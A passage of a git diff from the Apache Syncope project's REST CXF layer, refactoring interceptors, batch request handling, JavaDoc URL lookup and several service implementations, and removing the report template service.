restContainer.setProviders(List.of( dateParamConverterProvider, jsonProvider, @@ -347,30 +331,18 @@ public Server restContainer( yamlProvider, restServiceExceptionMapper, searchContextProvider, - checkDomainFilter, addDomainFilter, addETagFilter)); - restContainer.setInInterceptors(List.of( - gzipInInterceptor, - validationInInterceptor)); + restContainer.setInInterceptors(List.of(mdcInInterceptor, validationInInterceptor, gzipInInterceptor)); - restContainer.setOutInterceptors(List.of(gzipOutInterceptor)); + restContainer.setOutInterceptors(List.of(gzipOutInterceptor, threadLocalCleanupOutInterceptor)); restContainer.setFeatures(List.of(openapiFeature)); - restContainer.setApplicationContext(ctx); return restContainer.create(); } - @ConditionalOnMissingBean - @Bean - public ServletListenerRegistrationBean listenerRegistrationBean() { - ServletListenerRegistrationBean bean = new ServletListenerRegistrationBean<>(); - bean.setListener(new ThreadLocalCleanupListener()); - return bean; - } - @ConditionalOnMissingBean @Bean public AccessTokenService accessTokenService(final AccessTokenLogic accessTokenLogic) { @@ -481,12 +453,6 @@ public ReportService reportService(final ReportLogic reportLogic) { return new ReportServiceImpl(reportLogic); } - @ConditionalOnMissingBean - @Bean - public ReportTemplateService reportTemplateService(final ReportTemplateLogic reportTemplateLogic) { - return new ReportTemplateServiceImpl(reportTemplateLogic); - } - @ConditionalOnMissingBean @Bean public RoleService roleService(final RoleLogic roleLogic) { diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/JavaDocUtils.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/JavaDocUtils.java index 173317000ce..b6969b8d584 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/JavaDocUtils.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/JavaDocUtils.java @@ -18,45 +18,84 @@ */ package org.apache.syncope.core.rest.cxf; +import java.io.File; +import java.lang.management.ManagementFactory; +import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; +import java.nio.file.Path; import java.util.ArrayList; +import java.util.Arrays; import java.util.List; import java.util.Objects; +import java.util.Optional; +import java.util.stream.Collectors; +import java.util.stream.Stream; import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.core.env.Environment; import org.springframework.util.ClassUtils; public final class JavaDocUtils { - public static URL[] getJavaDocURLs() { - URL[] result = null; + private static final Logger LOG = LoggerFactory.getLogger(JavaDocUtils.class); - ClassLoader classLoader = ClassUtils.getDefaultClassLoader(); + private static URL toURL(final String classPathEntry) { + try { + return Path.of(classPathEntry).toUri().toURL(); + } catch (MalformedURLException e) { + throw new IllegalArgumentException("URL could not be created from '" + classPathEntry + "'", e); + } + } + + /** + * Inspired by org.springframework.boot.devtools.restart.ChangeableUrls#urlsFromClassLoader + * + * @param classLoader class loader + * @return URLs from underlying class loader + */ + private static URL[] urlsFromClassLoader(final ClassLoader classLoader) { if (classLoader instanceof URLClassLoader) { - List javaDocURLs = new ArrayList<>(); - for (URL url : ((URLClassLoader) classLoader).getURLs()) { - String filename = StringUtils.substringAfterLast(url.toExternalForm(), "/"); - if (filename.startsWith("syncope-") && filename.endsWith("-javadoc.jar")) { - javaDocURLs.add(url); - } - } - if (!javaDocURLs.isEmpty()) { - result = javaDocURLs.toArray(URL[]::new); + return ((URLClassLoader) classLoader).getURLs(); + } + + return Stream.of(ManagementFactory.getRuntimeMXBean().getClassPath(). + split(File.pathSeparator)). + map(JavaDocUtils::toURL).toArray(URL[]::new); + } + + public static Optional getJavaDocURLs() { + URL[] urls = urlsFromClassLoader(ClassUtils.getDefaultClassLoader()); + if (urls == null) { + LOG.debug("No classpath URLs found"); + return Optional.empty(); + } + + List javaDocURLs = new ArrayList<>(); + for (URL url : urls) { + LOG.debug("Processing {}", url.toExternalForm()); + + String filename = StringUtils.substringAfterLast(url.toExternalForm(), "/"); + if (filename.startsWith("syncope-") && filename.endsWith("-javadoc.jar")) { + javaDocURLs.add(url); } } - return result; + LOG.debug("JavaDoc Urls found: {}", javaDocURLs); + return Optional.of(javaDocURLs.toArray(URL[]::new)); } - public static String[] getJavaDocPaths(final Environment env) { + public static Optional getJavaDocPaths(final Environment env) { String[] result = null; if (env.containsProperty("javadocPaths")) { result = Objects.requireNonNull(env.getProperty("javadocPaths")).split(","); } - return result; + LOG.debug("JavaDoc paths found: {}", + result == null ? List.of() : Arrays.stream(result).collect(Collectors.toList())); + return Optional.ofNullable(result); } private JavaDocUtils() { diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/MDCInInterceptor.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/MDCInInterceptor.java new file mode 100644 index 00000000000..5117610665e --- /dev/null +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/MDCInInterceptor.java @@ -0,0 +1,58 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.rest.cxf; + +import org.apache.cxf.interceptor.Fault; +import org.apache.cxf.message.Exchange; +import org.apache.cxf.message.Message; +import org.apache.cxf.phase.AbstractPhaseInterceptor; +import org.apache.cxf.phase.Phase; +import org.apache.syncope.core.provisioning.api.job.JobDelegate; +import org.apache.syncope.core.spring.security.SecureRandomUtils; +import org.slf4j.MDC; + +/** + * Populate MDC with sensible information, for the current thread. + * + * MDC is then cleared up by {@link org.apache.syncope.core.rest.cxf.ThreadLocalCleanupOutInterceptor} + */ +public class MDCInInterceptor extends AbstractPhaseInterceptor { + + // just same value as org.apache.cxf.ext.logging.event.LogEvent.KEY_EXCHANGE_ID + protected static final String KEY_EXCHANGE_ID = "exchangeId"; + + public MDCInInterceptor() { + super(Phase.PRE_INVOKE); + } + + @Override + public void handleMessage(final Message message) throws Fault { + Exchange exchange = message.getExchange(); + + // this ensures we are not duplicating nor conflicting with + // org.apache.cxf.ext.logging.AbstractLoggingInterceptor.createExchangeId(Message) + String exchangeId = (String) exchange.get(KEY_EXCHANGE_ID); + if (exchangeId == null) { + exchangeId = SecureRandomUtils.generateRandomUUID().toString(); + exchange.put(KEY_EXCHANGE_ID, exchangeId); + } + + MDC.put(JobDelegate.OPERATION_ID, exchangeId); + } +} diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/RestServiceExceptionMapper.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/RestServiceExceptionMapper.java index d2690d0c340..8f2d253cf8c 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/RestServiceExceptionMapper.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/RestServiceExceptionMapper.java @@ -320,7 +320,9 @@ private String getPersistenceErrorMessage(final Throwable ex) { message = env.getProperty("errMessage." + UNIQUE_MSG_KEY); } - return Optional.ofNullable(message) - .orElseGet(() -> (ex.getCause() == null) ? ex.getMessage() : ex.getCause().getMessage()); + return Optional.ofNullable(message). + orElseGet(() -> Optional.ofNullable(ex.getCause()). + map(Throwable::getMessage). + orElseGet(() -> ex.getMessage())); } } diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/SyncopeOpenApiCustomizer.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/SyncopeOpenApiCustomizer.java index 0d515e39afe..5754289e91e 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/SyncopeOpenApiCustomizer.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/SyncopeOpenApiCustomizer.java @@ -118,17 +118,16 @@ protected void addParameters(final List parameters) { protected void customizeResponses(final Operation operation, final OperationResourceInfo ori) { super.customizeResponses(operation, ori); - ApiResponses responses = operation.getResponses(); - if (responses == null) { - responses = new ApiResponses(); - operation.setResponses(responses); - } + ApiResponses responses = Optional.ofNullable(operation.getResponses()).orElseGet(() -> { + ApiResponses r = new ApiResponses(); + operation.setResponses(r); + return r; + }); - ApiResponse defaultResponse = responses.getDefault(); - if (defaultResponse != null) { + Optional.ofNullable(responses.get(ApiResponses.DEFAULT)).ifPresent(defaultResponse -> { responses.remove(ApiResponses.DEFAULT); responses.addApiResponse("200", defaultResponse); - } + }); Map headers = new LinkedHashMap<>(); headers.put( diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/ThreadLocalCleanupListener.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/ThreadLocalCleanupOutInterceptor.java similarity index 70% rename from core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/ThreadLocalCleanupListener.java rename to core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/ThreadLocalCleanupOutInterceptor.java index e6c5c39983d..39b893a6906 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/ThreadLocalCleanupListener.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/ThreadLocalCleanupOutInterceptor.java @@ -18,27 +18,31 @@ */ package org.apache.syncope.core.rest.cxf; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; +import org.apache.cxf.interceptor.Fault; +import org.apache.cxf.message.Message; +import org.apache.cxf.phase.AbstractPhaseInterceptor; +import org.apache.cxf.phase.Phase; import org.apache.syncope.core.provisioning.api.utils.FormatUtils; import org.identityconnectors.common.l10n.CurrentLocale; import org.identityconnectors.framework.impl.api.local.ThreadClassLoaderManager; +import org.slf4j.MDC; /** - * Remove any known thread-local variable when the servlet request is destroyed. + * Removes any known thread-local variable. */ -public class ThreadLocalCleanupListener implements ServletRequestListener { +public class ThreadLocalCleanupOutInterceptor extends AbstractPhaseInterceptor { - @Override - public void requestInitialized(final ServletRequestEvent sre) { - // nothing to do while setting up this request (and thread) + public ThreadLocalCleanupOutInterceptor() { + super(Phase.POST_INVOKE); } @Override - public void requestDestroyed(final ServletRequestEvent sre) { + public void handleMessage(final Message message) throws Fault { FormatUtils.clear(); ThreadClassLoaderManager.clearInstance(); CurrentLocale.clear(); + + MDC.clear(); } } diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/batch/BatchItemRequest.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/batch/BatchItemRequest.java index 71e0c296359..33ee7bac6d1 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/batch/BatchItemRequest.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/batch/BatchItemRequest.java @@ -20,12 +20,12 @@ import java.io.ByteArrayInputStream; import java.io.IOException; -import java.nio.charset.StandardCharsets; import java.util.Collections; import java.util.Enumeration; +import java.util.HashMap; import java.util.HashSet; import java.util.List; -import java.util.Optional; +import java.util.Map; import java.util.Set; import java.util.stream.Collectors; import javax.servlet.ReadListener; @@ -33,8 +33,6 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; import javax.ws.rs.core.HttpHeaders; -import org.apache.commons.lang3.StringUtils; -import org.apache.commons.lang3.math.NumberUtils; import org.apache.syncope.common.rest.api.batch.BatchRequestItem; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -44,19 +42,49 @@ public class BatchItemRequest extends HttpServletRequestWrapper { private static final Logger LOG = LoggerFactory.getLogger(BatchItemRequest.class); - private final String basePath; + private final String scheme; + + private final String serverName; + + private final int serverPort; + + private final String contextPath; + + private final String servletPath; + + private final String pathInfo; + + private final String characterEncoding; + + private final String baseURI; private final BatchRequestItem batchItem; private final ServletInputStream inputStream; + private final Map attributes = new HashMap<>(); + public BatchItemRequest( - final String basePath, + final String scheme, + final String serverName, + final int serverPort, + final String contextPath, + final String servletPath, + final String pathInfo, + final String characterEncoding, + final String baseURI, final HttpServletRequest request, final BatchRequestItem batchItem) { super(request); - this.basePath = basePath; + this.scheme = scheme; + this.serverName = serverName; + this.serverPort = serverPort; + this.contextPath = contextPath; + this.servletPath = servletPath; + this.pathInfo = pathInfo; + this.characterEncoding = characterEncoding; + this.baseURI = baseURI; this.batchItem = batchItem; this.inputStream = new ServletInputStream() { @@ -91,35 +119,43 @@ public int read() { } @Override - public String getMethod() { - return batchItem.getMethod(); + public String getScheme() { + return scheme; } @Override public String getServerName() { - try { - return super.getServerName(); - } catch (Exception e) { - LOG.debug("While delegating to wrapped request", e); - return Optional.ofNullable(getHeader(HttpHeaders.HOST)). - map(host -> StringUtils.substringBefore(host, ":")).orElse(null); - } + return serverName; } @Override public int getServerPort() { - try { - return super.getServerPort(); - } catch (Exception e) { - LOG.debug("While delegating to wrapped request", e); - return Optional.ofNullable(getHeader(HttpHeaders.HOST)). - map(host -> NumberUtils.toInt(StringUtils.substringAfter(host, ":"))).orElse(0); - } + return serverPort; + } + + @Override + public String getContextPath() { + return contextPath; + } + + @Override + public String getServletPath() { + return servletPath; + } + + @Override + public String getPathInfo() { + return pathInfo; + } + + @Override + public String getMethod() { + return batchItem.getMethod(); } @Override public StringBuffer getRequestURL() { - return new StringBuffer(basePath).append(getRequestURI()); + return new StringBuffer(baseURI).append(getRequestURI()); } @Override @@ -144,7 +180,7 @@ public int getContentLength() { int contentLength = 0; if (batchItem.getHeaders().containsKey(HttpHeaders.CONTENT_LENGTH)) { try { - contentLength = Integer.valueOf( + contentLength = Integer.parseInt( batchItem.getHeaders().get(HttpHeaders.CONTENT_LENGTH).get(0).toString()); } catch (NumberFormatException e) { LOG.error("Invalid value found for {}: {}", @@ -161,74 +197,44 @@ public long getContentLengthLong() { @Override public String getHeader(final String name) { - try { - return batchItem.getHeaders().containsKey(name) - ? batchItem.getHeaders().get(name).get(0).toString() - : HttpHeaders.CONTENT_TYPE.equals(name) || HttpHeaders.ACCEPT.equals(name) - ? MediaType.ALL_VALUE - : super.getHeader(name); - } catch (Exception e) { - LOG.debug("While delegating to wrapped request", e); - return null; - } + return batchItem.getHeaders().containsKey(name) + ? batchItem.getHeaders().get(name).get(0).toString() + : HttpHeaders.CONTENT_TYPE.equals(name) || HttpHeaders.ACCEPT.equals(name) + ? MediaType.ALL_VALUE + : null; } @Override public Enumeration getHeaders(final String name) { - try { - return batchItem.getHeaders().containsKey(name) - ? Collections.enumeration(batchItem.getHeaders().get(name).stream(). - map(Object::toString).collect(Collectors.toList())) - : HttpHeaders.CONTENT_TYPE.equals(name) || HttpHeaders.ACCEPT.equals(name) - ? Collections.enumeration(List.of(MediaType.ALL_VALUE)) - : super.getHeaders(name); - } catch (Exception e) { - LOG.debug("While delegating to wrapped request", e); - return Collections.emptyEnumeration(); - } + return batchItem.getHeaders().containsKey(name) + ? Collections.enumeration(batchItem.getHeaders().get(name).stream(). + map(Object::toString).collect(Collectors.toList())) + : HttpHeaders.CONTENT_TYPE.equals(name) || HttpHeaders.ACCEPT.equals(name) + ? Collections.enumeration(List.of(MediaType.ALL_VALUE)) + : Collections.emptyEnumeration(); } @Override public Enumeration getHeaderNames() { - try { - return super.getHeaderNames(); - } catch (Exception e) { - LOG.debug("While delegating to wrapped request", e); - - Set names = new HashSet<>(batchItem.getHeaders().keySet()); - names.add(HttpHeaders.CONTENT_TYPE); - names.add(HttpHeaders.ACCEPT); - return Collections.enumeration(names); - } + Set names = new HashSet<>(batchItem.getHeaders().keySet()); + names.add(HttpHeaders.CONTENT_TYPE); + names.add(HttpHeaders.ACCEPT); + return Collections.enumeration(names); } @Override public Object getAttribute(final String name) { - try { - return super.getAttribute(name); - } catch (Exception e) { - LOG.debug("While delegating to wrapped request", e); - return null; - } + return attributes.get(name); } @Override - public void setAttribute(final String name, final Object o) { - try { - super.setAttribute(name, o); - } catch (Exception e) { - LOG.debug("While delegating to wrapped request", e); - } + public void setAttribute(final String name, final Object value) { + attributes.put(name, value); } @Override public String getCharacterEncoding() { - try { - return super.getCharacterEncoding(); - } catch (Exception e) { - LOG.debug("While delegating to wrapped request", e); - return StandardCharsets.UTF_8.name(); - } + return characterEncoding; } @Override diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/batch/BatchProcess.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/batch/BatchProcess.java index 5b9e3fa61e4..5e0bb61562c 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/batch/BatchProcess.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/batch/BatchProcess.java @@ -47,7 +47,21 @@ public class BatchProcess implements Runnable { private String boundary; - private String basePath; + private String scheme; + + private String serverName; + + private int serverPort; + + private String contextPath; + + private String servletPath; + + private String pathInfo; + + private String characterEncoding; + + private String baseURI; private List batchRequestItems; @@ -63,8 +77,36 @@ public void setBoundary(final String boundary) { this.boundary = boundary; } - public void setBasePath(final String basePath) { - this.basePath = basePath; + public void setScheme(final String scheme) { + this.scheme = scheme; + } + + public void setServerName(final String serverName) { + this.serverName = serverName; + } + + public void setServerPort(final int serverPort) { + this.serverPort = serverPort; + } + + public void setContextPath(final String contextPath) { + this.contextPath = contextPath; + } + + public void setServletPath(final String servletPath) { + this.servletPath = servletPath; + } + + public void setPathInfo(final String pathInfo) { + this.pathInfo = pathInfo; + } + + public void setCharacterEncoding(final String characterEncoding) { + this.characterEncoding = characterEncoding; + } + + public void setBaseURI(final String baseURI) { + this.baseURI = baseURI; } public void setBatchRequestItems(final List batchRequestItems) { @@ -107,7 +149,9 @@ public void run() { if (dest == null) { resItem.setStatus(HttpServletResponse.SC_NOT_FOUND); } else { - BatchItemRequest request = new BatchItemRequest(basePath, servletRequest, reqItem); + BatchItemRequest request = new BatchItemRequest( + scheme, serverName, serverPort, contextPath, servletPath, pathInfo, characterEncoding, + baseURI, servletRequest, reqItem); BatchItemResponse response = new BatchItemResponse(); try { dest.invoke(servletConfig, servletConfig.getServletContext(), request, response); diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractAnyService.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractAnyService.java index 833edd68910..f769e77e3cf 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractAnyService.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractAnyService.java @@ -36,7 +36,6 @@ import org.apache.syncope.common.lib.request.AttrPatch; import org.apache.syncope.common.lib.request.ResourceAR; import org.apache.syncope.common.lib.request.ResourceDR; -import org.apache.syncope.common.lib.search.SpecialAttr; import org.apache.syncope.common.lib.to.AnyTO; import org.apache.syncope.common.lib.to.PagedResult; import org.apache.syncope.common.lib.to.ProvisioningResult; @@ -112,27 +111,19 @@ public Attr read(final String key, final SchemaType schemaType, final String sch result = any.getPlainAttr(schema); } - if (result.isEmpty()) { - throw new NotFoundException("Attribute for type " + schemaType + " and schema " + schema); - } - - return result.get(); + return result. + orElseThrow(() -> new NotFoundException("Attribute for type " + schemaType + " and schema " + schema)); } @Override public TO read(final String key) { - return getAnyLogic().read(getActualKey(getAnyDAO(), key)); + return getAnyLogic().read(findActualKey(getAnyDAO(), key)); } @Override public PagedResult search(final AnyQuery anyQuery) { String realm = StringUtils.prependIfMissing(anyQuery.getRealm(), SyncopeConstants.ROOT_REALM); - // if an assignable query is provided in the FIQL string, start anyway from root realm - boolean isAssignableCond = StringUtils.isBlank(anyQuery.getFiql()) - ? false - : -1 != anyQuery.getFiql().indexOf(SpecialAttr.ASSIGNABLE.toString()); - SearchCond searchCond = StringUtils.isBlank(anyQuery.getFiql()) ? null : getSearchCond(anyQuery.getFiql(), realm); @@ -143,7 +134,7 @@ public PagedResult search(final AnyQuery anyQuery) { anyQuery.getPage(), anyQuery.getSize(), getOrderByClauses(anyQuery.getOrderBy()), - isAssignableCond ? SyncopeConstants.ROOT_REALM : realm, + realm, anyQuery.getRecursive(), anyQuery.getDetails()); @@ -166,7 +157,7 @@ protected OffsetDateTime findLastChange(final String key) { } protected Response doUpdate(final UR updateReq) { - updateReq.setKey(getActualKey(getAnyDAO(), updateReq.getKey())); + updateReq.setKey(findActualKey(getAnyDAO(), updateReq.getKey())); OffsetDateTime etag = findLastChange(updateReq.getKey()); checkETag(String.valueOf(etag.toInstant().toEpochMilli())); @@ -201,15 +192,14 @@ protected void addUpdateOrReplaceAttr( @Override public Response update(final String key, final SchemaType schemaType, final Attr attrTO) { - String actualKey = getActualKey(getAnyDAO(), key); + String actualKey = findActualKey(getAnyDAO(), key); addUpdateOrReplaceAttr(actualKey, schemaType, attrTO, PatchOperation.ADD_REPLACE); return modificationResponse(read(actualKey, schemaType, attrTO.getSchema())); } @Override public void delete(final String key, final SchemaType schemaType, final String schema) { - addUpdateOrReplaceAttr( - getActualKey(getAnyDAO(), key), + addUpdateOrReplaceAttr(findActualKey(getAnyDAO(), key), schemaType, new Attr.Builder(schema).build(), PatchOperation.DELETE); @@ -217,7 +207,7 @@ public void delete(final String key, final SchemaType schemaType, final String s @Override public Response delete(final String key) { - String actualKey = getActualKey(getAnyDAO(), key); + String actualKey = findActualKey(getAnyDAO(), key); OffsetDateTime etag = findLastChange(actualKey); checkETag(String.valueOf(etag.toInstant().toEpochMilli())); diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractExecutableService.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractExecutableService.java index 03e059b61e1..101c9bc7b71 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractExecutableService.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractExecutableService.java @@ -76,8 +76,8 @@ public Response deleteExecutions(final ExecQuery query) { } @Override - public ExecTO execute(final ExecSpecs query) { - return getExecutableLogic().execute(query.getKey(), query.getStartAt(), query.getDryRun()); + public ExecTO execute(final ExecSpecs execSpecs) { + return getExecutableLogic().execute(execSpecs); } @Override diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractService.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractService.java index 441bd120a85..cb90f5c323b 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractService.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AbstractService.java @@ -40,6 +40,8 @@ import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.service.JAXRSService; import org.apache.syncope.core.persistence.api.dao.AnyDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -59,7 +61,7 @@ public abstract class AbstractService implements JAXRSService { @Context protected SearchContext searchContext; - protected String getActualKey(final AnyDAO dao, final String pretendingKey) { + protected String findActualKey(final AnyDAO dao, final String pretendingKey) { String actualKey = pretendingKey; if (uriInfo.getPathParameters(true).containsKey("key")) { String keyInPath = uriInfo.getPathParameters(true).get("key").get(0); @@ -77,7 +79,11 @@ protected String getActualKey(final AnyDAO dao, final String pretendingKey) { throw sce; } if (!SyncopeConstants.UUID_PATTERN.matcher(actualKey).matches()) { - actualKey = dao.findKey(actualKey); + actualKey = dao instanceof UserDAO + ? ((UserDAO) dao).findKey(actualKey) + : dao instanceof GroupDAO + ? ((GroupDAO) dao).findKey(actualKey) + : null; } return actualKey; } diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AnyObjectServiceImpl.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AnyObjectServiceImpl.java index 10d4909f563..9a5f1ac36a5 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AnyObjectServiceImpl.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/AnyObjectServiceImpl.java @@ -65,6 +65,16 @@ protected AbstractAnyLogic getAnyLogic() return logic; } + @Override + public AnyObjectTO read(final String key) { + return logic.read(key); + } + + @Override + public AnyObjectTO read(final String type, final String name) { + return logic.read(type, name); + } + @Override protected AnyObjectUR newUpdateReq(final String key) { return new AnyObjectUR.Builder(key).build(); diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/RealmServiceImpl.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/RealmServiceImpl.java index 5bed0d6f363..46e8b013161 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/RealmServiceImpl.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/RealmServiceImpl.java @@ -20,6 +20,7 @@ import java.net.URI; import java.util.List; +import java.util.Optional; import javax.ws.rs.core.Response; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; @@ -44,17 +45,14 @@ public RealmServiceImpl(final RealmLogic logic) { @Override public PagedResult search(final RealmQuery query) { - String keyword = query.getKeyword() == null ? null : query.getKeyword().replace('*', '%'); - - Pair> result = logic.search(keyword, query.getBase()); + Pair> result = logic.search( + Optional.ofNullable(query.getKeyword()).map(k -> k.replace('*', '%')).orElse(null), + query.getBases(), + query.getPage(), + query.getSize()); return buildPagedResult(result.getRight(), 1, result.getRight().size(), result.getLeft()); } - @Override - public List list(final String fullPath) { - return logic.list(StringUtils.prependIfMissing(fullPath, SyncopeConstants.ROOT_REALM)); - } - @Override public Response create(final String parentPath, final RealmTO realmTO) { ProvisioningResult created = diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ReportServiceImpl.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ReportServiceImpl.java index a2834c84024..a125be6f317 100644 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ReportServiceImpl.java +++ b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ReportServiceImpl.java @@ -20,17 +20,14 @@ import java.net.URI; import java.util.List; -import java.util.Optional; import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.Response; import javax.ws.rs.core.StreamingOutput; import org.apache.syncope.common.lib.to.ReportTO; -import org.apache.syncope.common.lib.types.ReportExecExportFormat; import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.service.ReportService; import org.apache.syncope.core.logic.AbstractExecutableLogic; import org.apache.syncope.core.logic.ReportLogic; -import org.apache.syncope.core.persistence.api.entity.ReportExec; import org.springframework.stereotype.Service; @Service @@ -72,14 +69,12 @@ public ReportTO read(final String key) { } @Override - public Response exportExecutionResult(final String executionKey, final ReportExecExportFormat fmt) { - ReportExecExportFormat format = Optional.ofNullable(fmt).orElse(ReportExecExportFormat.XML); - ReportExec reportExec = logic.getReportExec(executionKey); - StreamingOutput sout = os -> logic.exportExecutionResult(os, reportExec, format); + public Response exportExecutionResult(final String executionKey) { + String filename = logic.getFilename(executionKey); + StreamingOutput sout = os -> logic.exportExecutionResult(os, executionKey); return Response.ok(sout). - header(HttpHeaders.CONTENT_DISPOSITION, - "attachment; filename=" + reportExec.getReport().getName() + '.' + format.name().toLowerCase()). + header(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=" + filename). build(); } diff --git a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ReportTemplateServiceImpl.java b/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ReportTemplateServiceImpl.java deleted file mode 100644 index a90160b4a27..00000000000 --- a/core/idrepo/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/ReportTemplateServiceImpl.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.core.rest.cxf.service; - -import java.io.IOException; -import java.io.InputStream; -import java.net.URI; -import java.nio.charset.StandardCharsets; -import java.util.List; -import javax.ws.rs.InternalServerErrorException; -import javax.ws.rs.core.MediaType; -import javax.ws.rs.core.Response; -import javax.ws.rs.core.StreamingOutput; -import org.apache.commons.io.IOUtils; -import org.apache.syncope.common.lib.to.ReportTemplateTO; -import org.apache.syncope.common.lib.types.ReportTemplateFormat; -import org.apache.syncope.common.rest.api.RESTHeaders; -import 